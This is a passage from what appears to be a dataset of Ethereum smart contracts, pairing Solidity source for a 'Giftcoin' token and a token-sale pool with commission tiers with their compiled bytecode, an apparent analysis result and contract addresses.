allowed[msg.sender][_spender]); return true; } } // File: contracts/BurnableToken.sol /** * @title Customized Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken, Ownable { event Burn(address indexed burner, uint256 amount); /** * @dev Anybody can burn a specific amount of their tokens. * @param _amount The amount of token to be burned. */ function burn(uint256 _amount) public { burnInternal(msg.sender, _amount); } /** * @dev Owner can burn a specific amount of tokens of other token holders. * @param _from The address of token holder whose tokens to be burned. * @param _amount The amount of token to be burned. */ function burnFrom(address _from, uint256 _amount) public onlyOwner { burnInternal(_from, _amount); } /** * @dev Burns a specific amount of tokens of a token holder. * @param _from The address of token holder whose tokens are to be burned. * @param _amount The amount of token to be burned. */ function burnInternal(address _from, uint256 _amount) internal { require(_from != address(0)); require(_amount > 0); require(_amount <= balances[_from]); // no need to require _amount <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[_from] = balances[_from].sub(_amount); totalSupply_ = totalSupply_.sub(_amount); Transfer(_from, address(0), _amount); Burn(_from, _amount); } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: contracts/GiftToken.sol contract GiftToken is BurnableToken, Pausable { string public name = "Giftcoin"; string public symbol = "GIFT"; uint8 public decimals = 18; uint256 public initialTotalSupply = uint256(1e8) * (uint256(10) ** decimals); address private addressIco; modifier onlyIco() { require(msg.sender == addressIco); _; } /** * @dev Create GiftToken contract and set pause * @param _ico The address of ICO contract. */ function GiftToken(address _ico) public { pause(); setIcoAddress(_ico); totalSupply_ = initialTotalSupply; balances[_ico] = balances[_ico].add(initialTotalSupply); Transfer(address(0), _ico, initialTotalSupply); } function setIcoAddress(address _ico) public onlyOwner { require(_ico != address(0)); // to change the ICO address firstly transfer the tokens to the new ICO require(balanceOf(addressIco) == 0); addressIco = _ico; // the ownership of the token needs to be transferred to the crowdsale contract // but it can be reclaimed using transferTokenOwnership() function // or along withdrawal of the funds transferOwnership(_ico); } /** * @dev Transfer token for a specified address with pause feature for owner. * @dev Only applies when the transfer is allowed by the owner. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another with pause feature for owner. * @dev Only applies when the transfer is allowed by the owner. * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } /** * @dev Transfer tokens from ICO address to another address. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transferFromIco(address _to, uint256 _value) public onlyIco returns (bool) { return super.transfer(_to, _value); } }
0x60606040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610121578063095ea7b3146101ab57806318160ddd146101e157806323b872dd14610206578063311028af1461022e578063313ce567146102415780633f4ba83a1461026a57806342966c681461027f5780635c975abb1461029557806361a7b2f5146102a857806366188463146102ca57806370a08231146102ec57806379cc67901461030b5780638456cb591461032d5780638da5cb5b1461034057806395d89b411461036f578063a9059cbb14610382578063bd792db3146103a4578063d73dd623146103c3578063dd62ed3e146103e5578063f2fde38b1461040a575b600080fd5b341561012c57600080fd5b610134610429565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610170578082015183820152602001610158565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b657600080fd5b6101cd600160a060020a03600435166024356104c7565b604051901515815260200160405180910390f35b34156101ec57600080fd5b6101f4610533565b60405190815260200160405180910390f35b341561021157600080fd5b6101cd600160a060020a0360043581169060243516604435610539565b341561023957600080fd5b6101f4610566565b341561024c57600080fd5b61025461056c565b60405160ff909116815260200160405180910390f35b341561027557600080fd5b61027d610575565b005b341561028a57600080fd5b61027d6004356105f4565b34156102a057600080fd5b6101cd610601565b34156102b357600080fd5b6101cd600160a060020a0360043516602435610611565b34156102d557600080fd5b6101cd600160a060020a0360043516602435610640565b34156102f757600080fd5b6101f4600160a060020a036004351661073a565b341561031657600080fd5b61027d600160a060020a0360043516602435610755565b341561033857600080fd5b61027d61077e565b341561034b57600080fd5b610353610802565b604051600160a060020a03909116815260200160405180910390f35b341561037a57600080fd5b610134610811565b341561038d57600080fd5b6101cd600160a060020a036004351660243561087c565b34156103af57600080fd5b61027d600160a060020a0360043516610896565b34156103ce57600080fd5b6101cd600160a060020a0360043516602435610916565b34156103f057600080fd5b6101f4600160a060020a03600435811690602435166109ba565b341561041557600080fd5b61027d600160a060020a03600435166109e5565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104bf5780601f10610494576101008083540402835291602001916104bf565b820191906000526020600020905b8154815290600101906020018083116104a257829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b60035460009060a060020a900460ff161561055357600080fd5b61055e848484610a80565b949350505050565b60075481565b60065460ff1681565b60035433600160a060020a0390811691161461059057600080fd5b60035460a060020a900460ff1615156105a857600080fd5b6003805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6105fe3382610c00565b50565b60035460a060020a900460ff1681565b60085460009033600160a060020a0390811691161461062f57600080fd5b6106398383610d1f565b9392505050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561069d57600160a060020a0333811660009081526002602090815260408083209388168352929052908120556106d4565b6106ad818463ffffffff610e3116565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035433600160a060020a0390811691161461077057600080fd5b61077a8282610c00565b5050565b60035433600160a060020a0390811691161461079957600080fd5b60035460a060020a900460ff16156107b057600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104bf5780601f10610494576101008083540402835291602001916104bf565b60035460009060a060020a900460ff161561062f57600080fd5b60035433600160a060020a039081169116146108b157600080fd5b600160a060020a03811615156108c657600080fd5b6008546108db90600160a060020a031661073a565b156108e557600080fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790556105fe816109e5565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205461094e908363ffffffff610e4316565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610a0057600080fd5b600160a060020a0381161515610a1557600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a0383161515610a9757600080fd5b600160a060020a038416600090815260208190526040902054821115610abc57600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610aef57600080fd5b600160a060020a038416600090815260208190526040902054610b18908363ffffffff610e3116565b600160a060020a038086166000908152602081905260408082209390935590851681522054610b4d908363ffffffff610e4316565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610b93908363ffffffff610e3116565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600160a060020a0382161515610c1557600080fd5b60008111610c2257600080fd5b600160a060020a038216600090815260208190526040902054811115610c4757600080fd5b600160a060020a038216600090815260208190526040902054610c70908263ffffffff610e3116565b600160a060020a038316600090815260208190526040902055600154610c9c908263ffffffff610e3116565b6001556000600160a060020a0383167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a381600160a060020a03167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b6000600160a060020a0383161515610d3657600080fd5b600160a060020a033316600090815260208190526040902054821115610d5b57600080fd5b600160a060020a033316600090815260208190526040902054610d84908363ffffffff610e3116565b600160a060020a033381166000908152602081905260408082209390935590851681522054610db9908363ffffffff610e4316565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600082821115610e3d57fe5b50900390565b60008282018381101561063957fe00a165627a7a72305820228b56f7392404d8008f125ab7bcf7c8dd03c0e5a6ef502dba548618efd0a94b0029
{"success": true, "error": null, "results": {}}
3,158
0x8084b7f4614a1a66ad5322ca9c261265338fb67d
pragma solidity ^0.4.24; pragma experimental "v0.5.0"; pragma experimental ABIEncoderV2; contract ERC20 { function balanceOf (address owner) public view returns (uint256); function allowance (address owner, address spender) public view returns (uint256); function transfer (address to, uint256 value) public returns (bool); function transferFrom (address from, address to, uint256 value) public returns (bool); function approve (address spender, uint256 value) public returns (bool); } contract SalesPool { using Math for uint256; address public owner; ERC20 public smartToken; Math.Fraction public tokenPrice; uint256 public pipeIndex = 1; mapping (uint256 => SalesPipe) public indexToPipe; mapping (address => uint256) public pipeToIndex; struct Commission { uint256 gt; uint256 lte; uint256 pa; } struct Commissions { Commission[] array; uint256 length; } uint256 termsIndex = 1; mapping (uint256 => Commissions) public terms; event CreateSalesPipe(address salesPipe); constructor ( address _smartTokenAddress, uint256 _priceNumerator, uint256 _priceDenominator ) public { owner = msg.sender; smartToken = ERC20(_smartTokenAddress); tokenPrice.numerator = _priceNumerator; tokenPrice.denominator = _priceDenominator; uint256 maxUint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935; terms[1].array.push(Commission(0 ether, 2000 ether, 5)); terms[1].array.push(Commission(2000 ether, 10000 ether, 8)); terms[1].array.push(Commission(10000 ether, maxUint256, 10)); terms[1].length = terms[1].array.length; terms[2].array.push(Commission(0 ether, maxUint256, 5)); terms[2].length = terms[2].array.length; terms[3].array.push(Commission(0 ether, maxUint256, 15)); terms[3].length = terms[3].array.length; termsIndex = 4; } function pushTerms (Commission[] _array) public { require(msg.sender == owner); for (uint256 i = 0; i < _array.length; i++) { terms[termsIndex].array.push(Commission(_array[i].gt, _array[i].lte, _array[i].pa)); } terms[termsIndex].length = terms[termsIndex].array.length; termsIndex++; } function createPipe ( uint256 _termsNumber, uint256 _allowance, bytes32 _secretHash ) public { require(msg.sender == owner); SalesPipe pipe = new SalesPipe(owner, _termsNumber, smartToken, _secretHash); address pipeAddress = address(pipe); smartToken.approve(pipeAddress, _allowance); indexToPipe[pipeIndex] = pipe; pipeToIndex[pipeAddress] = pipeIndex; pipeIndex++; emit CreateSalesPipe(pipeAddress); } function setSalesPipeAllowance (address _pipeAddress, uint256 _value) public { require(msg.sender == owner); smartToken.approve(_pipeAddress, _value); } function poolTokenAmount () public view returns (uint256) { return smartToken.balanceOf(address(this)); } function transferEther(address _to, uint256 _value) public { require(msg.sender == owner); _to.transfer(_value); } function transferToken(ERC20 erc20, address _to, uint256 _value) public { require(msg.sender == owner); erc20.transfer(_to, _value); } function setOwner (address _owner) public { require(msg.sender == owner); owner = _owner; } function setSmartToken(address _smartTokenAddress) public { require(msg.sender == owner); smartToken = ERC20(_smartTokenAddress); } function setTokenPrice(uint256 numerator, uint256 denominator) public { require(msg.sender == owner); require( numerator > 0 && denominator > 0 ); tokenPrice.numerator = numerator; tokenPrice.denominator = denominator; } function getTokenPrice () public view returns (uint256, uint256) { return (tokenPrice.numerator, tokenPrice.denominator); } function getCommissions (uint256 _termsNumber) public view returns (Commissions) { return terms[_termsNumber]; } function () payable external {} } contract SalesPipe { using Math for uint256; SalesPool public pool; address public owner; uint256 public termsNumber; ERC20 public smartToken; address public rf = address(0); bytes32 public secretHash; bool public available = true; bool public finalized = false; uint256 public totalEtherReceived = 0; event TokenPurchase( ERC20 indexed smartToken, address indexed buyer, address indexed receiver, uint256 value, uint256 amount ); event RFDeclare (address rf); event Finalize (uint256 fstkRevenue, uint256 rfReceived); constructor ( address _owner, uint256 _termsNumber, ERC20 _smartToken, bytes32 _secretHash ) public { pool = SalesPool(msg.sender); owner = _owner; termsNumber = _termsNumber; smartToken = _smartToken; secretHash = _secretHash; } function () external payable { Math.Fraction memory tokenPrice; (tokenPrice.numerator, tokenPrice.denominator) = pool.getTokenPrice(); address poolAddress = address(pool); uint256 availableAmount = Math.min( smartToken.allowance(poolAddress, address(this)), smartToken.balanceOf(poolAddress) ); uint256 revenue; uint256 purchaseAmount = msg.value.div(tokenPrice); require( available && finalized == false && availableAmount > 0 && purchaseAmount > 0 ); if (availableAmount >= purchaseAmount) { revenue = msg.value; if (availableAmount == purchaseAmount) { available = false; } } else { purchaseAmount = availableAmount; revenue = availableAmount.mulCeil(tokenPrice); available = false; msg.sender.transfer(msg.value - revenue); } smartToken.transferFrom(poolAddress, msg.sender, purchaseAmount); emit TokenPurchase(smartToken, msg.sender, msg.sender, revenue, purchaseAmount); totalEtherReceived += revenue; } function declareRF(string _secret) public { require( secretHash == keccak256(abi.encodePacked(_secret)) && rf == address(0) ); rf = msg.sender; emit RFDeclare(rf); } function finalize () public { require( msg.sender == owner && available == false && finalized == false && rf != address(0) ); finalized = true; address poolAddress = address(pool); uint256 rfEther = calculateCommission(address(this).balance, termsNumber); uint256 fstkEther = address(this).balance - rfEther; rf.transfer(rfEther); poolAddress.transfer(fstkEther); emit Finalize(fstkEther, rfEther); } function calculateCommission ( uint256 _totalReceivedEther, uint256 _termsNumber ) public view returns (uint256) { SalesPool.Commissions memory commissions = pool.getCommissions(_termsNumber); for (uint256 i = 0; i < commissions.length; i++) { SalesPool.Commission memory commission = commissions.array[i]; if (_totalReceivedEther > commission.gt && _totalReceivedEther <= commission.lte) { return _totalReceivedEther * commission.pa / 100; } } return 0; } function setOwner (address _owner) public { require(msg.sender == owner); owner = _owner; } function setTermsNumber (uint256 _termsNumber) public { require(msg.sender == owner); termsNumber = _termsNumber; } function setAvailability (bool _available) public { require(msg.sender == owner); available = _available; } } library Math { struct Fraction { uint256 numerator; uint256 denominator; } function isPositive(Fraction memory fraction) internal pure returns (bool) { return fraction.numerator > 0 && fraction.denominator > 0; } function mul(uint256 a, uint256 b) internal pure returns (uint256 r) { r = a * b; require((a == 0) || (r / a == b)); } function div(uint256 a, uint256 b) internal pure returns (uint256 r) { r = a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256 r) { require((r = a - b) <= a); } function add(uint256 a, uint256 b) internal pure returns (uint256 r) { require((r = a + b) >= a); } function min(uint256 x, uint256 y) internal pure returns (uint256 r) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 r) { return x >= y ? x : y; } function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { // try mul r = value * m; if (r / value == m) { // if mul not overflow r /= d; } else { // else div first r = mul(value / d, m); } } function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { // try mul r = value * m; if (r / value == m) { // mul not overflow if (r % d == 0) { r /= d; } else { r = (r / d) + 1; } } else { // mul overflow then div first r = mul(value / d, m); if (value % d != 0) { r += 1; } } } function mul(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDiv(x, f.numerator, f.denominator); } function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDivCeil(x, f.numerator, f.denominator); } function div(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDiv(x, f.denominator, f.numerator); } function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDivCeil(x, f.denominator, f.numerator); } function mul(Fraction memory x, Fraction memory y) internal pure returns (Math.Fraction) { return Math.Fraction({ numerator: mul(x.numerator, y.numerator), denominator: mul(x.denominator, y.denominator) }); } }
0x6080604052600436106200010e5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305b1137b81146200011057806313af403514620001355780631a88cc31146200015a5780631bd17edf146200019757806325137f4614620001cb5780634b94f50e14620001f057806364c176eb14620002185780637ff9b596146200023d5780638da5cb5b146200025557806391e8fc34146200027c578063c0aa0e8a14620002a1578063c3e8fb4014620002c6578063cf7b674114620002ed578063d501953d1462000312578063e81f0154146200032a578063eb685c471462000342578063eda80ab31462000367578063f5537ede146200038c575b005b3480156200011d57600080fd5b506200010e6200012f36600462000d57565b620003b1565b3480156200014257600080fd5b506200010e6200015436600462000d2e565b6200041f565b3480156200016757600080fd5b506200017f6200017936600462000e44565b62000480565b6040516200018e919062001068565b60405180910390f35b348015620001a457600080fd5b50620001bc620001b636600462000d2e565b6200052a565b6040516200018e91906200107b565b348015620001d857600080fd5b506200010e620001ea36600462000d57565b6200053c565b348015620001fd57600080fd5b506200020862000611565b6040516200018e9291906200108b565b3480156200022557600080fd5b506200010e6200023736600462000d2e565b6200061b565b3480156200024a57600080fd5b50620002086200067c565b3480156200026257600080fd5b506200026d62000685565b6040516200018e919062000fdd565b3480156200028957600080fd5b506200010e6200029b36600462000ea8565b620006a1565b348015620002ae57600080fd5b50620001bc620002c036600462000e44565b6200087d565b348015620002d357600080fd5b50620002de62000892565b6040516200018e919062001058565b348015620002fa57600080fd5b50620002de6200030c36600462000e44565b620008ae565b3480156200031f57600080fd5b50620001bc620008d6565b3480156200033757600080fd5b50620001bc62000988565b3480156200034f57600080fd5b506200010e6200036136600462000e86565b6200098e565b3480156200037457600080fd5b506200010e6200038636600462000d96565b620009db565b3480156200039957600080fd5b506200010e620003ab36600462000df0565b62000af2565b60005473ffffffffffffffffffffffffffffffffffffffff163314620003d657600080fd5b60405173ffffffffffffffffffffffffffffffffffffffff83169082156108fc029083906000818181858888f193505050501580156200041a573d6000803e3d6000fd5b505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146200044457600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6200048a62000bc9565b6000828152600860209081526040808320815181546060948102820185018452928101838152909491938593919285929185015b8282101562000511578382906000526020600020906003020160606040519081016040529081600082015481526020016001820154815260200160028201548152505081526020019060010190620004be565b5050505081526020016001820154815250509050919050565b60066020526000908152604090205481565b60005473ffffffffffffffffffffffffffffffffffffffff1633146200056157600080fd5b6001546040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063095ea7b390620005bb908590859060040162000ff3565b602060405180830381600087803b158015620005d657600080fd5b505af1158015620005eb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506200041a919081019062000dcf565b6002546003549091565b60005473ffffffffffffffffffffffffffffffffffffffff1633146200064057600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60025460035482565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60008054819073ffffffffffffffffffffffffffffffffffffffff163314620006c957600080fd5b60005460015473ffffffffffffffffffffffffffffffffffffffff9182169187911685620006f662000be1565b62000705949392919062001012565b604051809103906000f08015801562000722573d6000803e3d6000fd5b506001546040517f095ea7b300000000000000000000000000000000000000000000000000000000815291935083925073ffffffffffffffffffffffffffffffffffffffff169063095ea7b39062000781908490889060040162000ff3565b602060405180830381600087803b1580156200079c57600080fd5b505af1158015620007b1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250620007d7919081019062000dcf565b50600480546000908152600560209081526040808320805473ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff8881169190911790915584549086168452600690925291829020819055600101909155517fcbcec0ca748f1d5aed15fdac32975ead3bafddfb20678f67ae40e5439fd5da87906200086e90839062000fdd565b60405180910390a15050505050565b60086020526000908152604090206001015481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60056020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b6001546040517f70a0823100000000000000000000000000000000000000000000000000000000815260009173ffffffffffffffffffffffffffffffffffffffff16906370a08231906200092f90309060040162000fdd565b60206040518083038186803b1580156200094857600080fd5b505afa1580156200095d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525062000983919081019062000e65565b905090565b60045481565b60005473ffffffffffffffffffffffffffffffffffffffff163314620009b357600080fd5b600082118015620009c45750600081115b1515620009d057600080fd5b600291909155600355565b6000805473ffffffffffffffffffffffffffffffffffffffff16331462000a0157600080fd5b5060005b815181101562000acf57600860006007548152602001908152602001600020600001606060405190810160405280848481518110151562000a4257fe5b90602001906020020151600001518152602001848481518110151562000a6457fe5b90602001906020020151602001518152602001848481518110151562000a8657fe5b6020908102909101810151604090810151909252835460018181018655600095865294829020845160039092020190815590830151818501559101516002909101550162000a05565b505060078054600090815260086020526040902080546001918201558154019055565b60005473ffffffffffffffffffffffffffffffffffffffff16331462000b1757600080fd5b6040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff84169063a9059cbb9062000b6d908590859060040162000ff3565b602060405180830381600087803b15801562000b8857600080fd5b505af115801562000b9d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525062000bc3919081019062000dcf565b50505050565b60408051808201909152606081526000602082015290565b6040516113c5806200111e83390190565b600062000c008235620010ef565b9392505050565b6000601f8201831362000c1957600080fd5b813562000c3062000c2a82620010c3565b6200109b565b9150818183526020840193506020810190508385606084028201111562000c5657600080fd5b60005b8381101562000c88578162000c6f888262000cbc565b8452506020909201916060919091019060010162000c59565b5050505092915050565b600062000c0082516200110b565b600062000c00823562001108565b600062000c00823562001110565b60006060828403121562000ccf57600080fd5b62000cdb60606200109b565b9050600062000ceb848462000ca0565b825250602062000cfe8484830162000ca0565b602083015250604062000d148482850162000ca0565b60408301525092915050565b600062000c00825162001108565b60006020828403121562000d4157600080fd5b600062000d4f848462000bf2565b949350505050565b6000806040838503121562000d6b57600080fd5b600062000d79858562000bf2565b925050602062000d8c8582860162000ca0565b9150509250929050565b60006020828403121562000da957600080fd5b813567ffffffffffffffff81111562000dc157600080fd5b62000d4f8482850162000c07565b60006020828403121562000de257600080fd5b600062000d4f848462000c92565b60008060006060848603121562000e0657600080fd5b600062000e14868662000cae565b935050602062000e278682870162000bf2565b925050604062000e3a8682870162000ca0565b9150509250925092565b60006020828403121562000e5757600080fd5b600062000d4f848462000ca0565b60006020828403121562000e7857600080fd5b600062000d4f848462000d20565b6000806040838503121562000e9a57600080fd5b600062000d79858562000ca0565b60008060006060848603121562000ebe57600080fd5b600062000ecc868662000ca0565b935050602062000e278682870162000ca0565b62000eea81620010ef565b82525050565b600062000efd82620010eb565b80845260208401935062000f1183620010e5565b60005b8281101562000f475762000f2a86835162000f67565b62000f3582620010e5565b60609690960195915060010162000f14565b5093949350505050565b62000eea8162001108565b62000eea8162001110565b8051606083019062000f7a848262000f51565b50602082015162000f8f602085018262000f51565b50604082015162000bc3604085018262000f51565b805160408084526000919084019062000fbe828262000ef0565b915050602083015162000fd5602086018262000f51565b509392505050565b6020810162000fed828462000edf565b92915050565b6040810162001003828562000edf565b62000c00602083018462000f51565b6080810162001022828762000edf565b62001031602083018662000f51565b62001040604083018562000f5c565b6200104f606083018462000f51565b95945050505050565b6020810162000fed828462000f5c565b6020808252810162000c00818462000fa4565b6020810162000fed828462000f51565b6040810162001003828562000f51565b60405181810167ffffffffffffffff81118282101715620010bb57600080fd5b604052919050565b600067ffffffffffffffff821115620010db57600080fd5b5060209081020190565b60200190565b5190565b73ffffffffffffffffffffffffffffffffffffffff1690565b90565b151590565b600062000fed82620010ef5600608060405260048054600160a060020a03191690556006805460ff191660011761ff001916905560006007553480156200003857600080fd5b50604051608080620013c583398101806040526200005a9190810190620000d1565b6000805433600160a060020a031991821617909155600180548216600160a060020a0396871617905560029390935560038054909316919093161790556005556200015d565b6000620000ae82516200013b565b9392505050565b6000620000ae825162000147565b6000620000ae82516200014a565b60008060008060808587031215620000e857600080fd5b6000620000f68787620000a0565b94505060206200010987828801620000b5565b93505060406200011c87828801620000c3565b92505060606200012f87828801620000b5565b91505092959194509250565b600160a060020a031690565b90565b600062000157826200013b565b92915050565b611258806200016d6000396000f3006080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166313af403581146104e257806316f0115b1461050457806326a183751461052f57806348a0d7541461054f5780634bb278f3146105715780637ef3e741146105865780638da5cb5b146105a857806399b55343146105ca578063b3f05b97146105df578063bac506e0146105f4578063c3e8fb4014610609578063d18b07b21461061e578063d29e68031461063e578063e249a57514610653578063f056a5c714610673575b6100e2610d36565b6000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634b94f50e6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401604080518083038186803b15801561016a57600080fd5b505afa15801561017e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506101a29190810190611086565b602087015285526000546003546040517fdd62ed3e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9283169650610308929091169063dd62ed3e9061020d90889030906004016110ee565b60206040518083038186803b15801561022557600080fd5b505afa158015610239573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061025d919081019061102e565b6003546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116906370a08231906102b39089906004016110e0565b60206040518083038186803b1580156102cb57600080fd5b505afa1580156102df573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610303919081019061102e565b610693565b925061031a348663ffffffff6106ae16565b60065490915060ff1680156103375750600654610100900460ff16155b80156103435750600083115b801561034f5750600081115b151561035a57600080fd5b80831061037c5734915080831415610377576006805460ff191690555b6103cc565b508161038e818663ffffffff6106c316565b6006805460ff1916905560405190925033903484900380156108fc02916000818181858888f193505050501580156103ca573d6000803e3d6000fd5b505b6003546040517f23b872dd00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116906323b872dd9061042690879033908690600401611109565b602060405180830381600087803b15801561044057600080fd5b505af1158015610454573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506104789190810190610f88565b506003546040513391829173ffffffffffffffffffffffffffffffffffffffff909116907fd1508eb33cb2ff0cd96cf67f00ab2c6b7fc5142d97832add4b29748b29111024906104cb908790879061115b565b60405180910390a450600780549091019055505050005b3480156104ee57600080fd5b506105026104fd366004610f44565b6106d8565b005b34801561051057600080fd5b50610519610738565b604051610526919061114d565b60405180910390f35b34801561053b57600080fd5b5061050261054a366004610f6a565b610754565b34801561055b57600080fd5b5061056461078b565b6040516105269190611131565b34801561057d57600080fd5b50610502610794565b34801561059257600080fd5b5061059b610914565b604051610526919061113f565b3480156105b457600080fd5b506105bd61091a565b60405161052691906110e0565b3480156105d657600080fd5b5061059b610936565b3480156105eb57600080fd5b5061056461093c565b34801561060057600080fd5b506105bd61094a565b34801561061557600080fd5b50610519610966565b34801561062a57600080fd5b5061059b61063936600461104c565b610982565b34801561064a57600080fd5b5061059b610ab4565b34801561065f57600080fd5b5061050261066e366004611010565b610aba565b34801561067f57600080fd5b5061050261068e366004610fa6565b610ae3565b6000818311156106a357816106a5565b825b90505b92915050565b60006106a58383602001518460000151610c4c565b60006106a58383600001518460200151610c94565b60015473ffffffffffffffffffffffffffffffffffffffff1633146106fc57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60015473ffffffffffffffffffffffffffffffffffffffff16331461077857600080fd5b6006805460ff1916911515919091179055565b60065460ff1681565b6001546000908190819073ffffffffffffffffffffffffffffffffffffffff16331480156107c5575060065460ff16155b80156107d95750600654610100900460ff16155b80156107fc575060045473ffffffffffffffffffffffffffffffffffffffff1615155b151561080757600080fd5b6006805461ff00191661010017905560005460025473ffffffffffffffffffffffffffffffffffffffff909116935061084290303190610982565b6004546040519193503031849003925073ffffffffffffffffffffffffffffffffffffffff169083156108fc029084906000818181858888f19350505050158015610891573d6000803e3d6000fd5b5060405173ffffffffffffffffffffffffffffffffffffffff84169082156108fc029083906000818181858888f193505050501580156108d5573d6000803e3d6000fd5b507f9d3cb3e4bff976f636db6ed472093505eb1b5bafc234ea8276ae83b3ea0a8b74818360405161090792919061115b565b60405180910390a1505050565b60075481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600654610100900460ff1681565b60045473ffffffffffffffffffffffffffffffffffffffff1681565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b600061098c610d4d565b6000610996610d65565b6000546040517f1a88c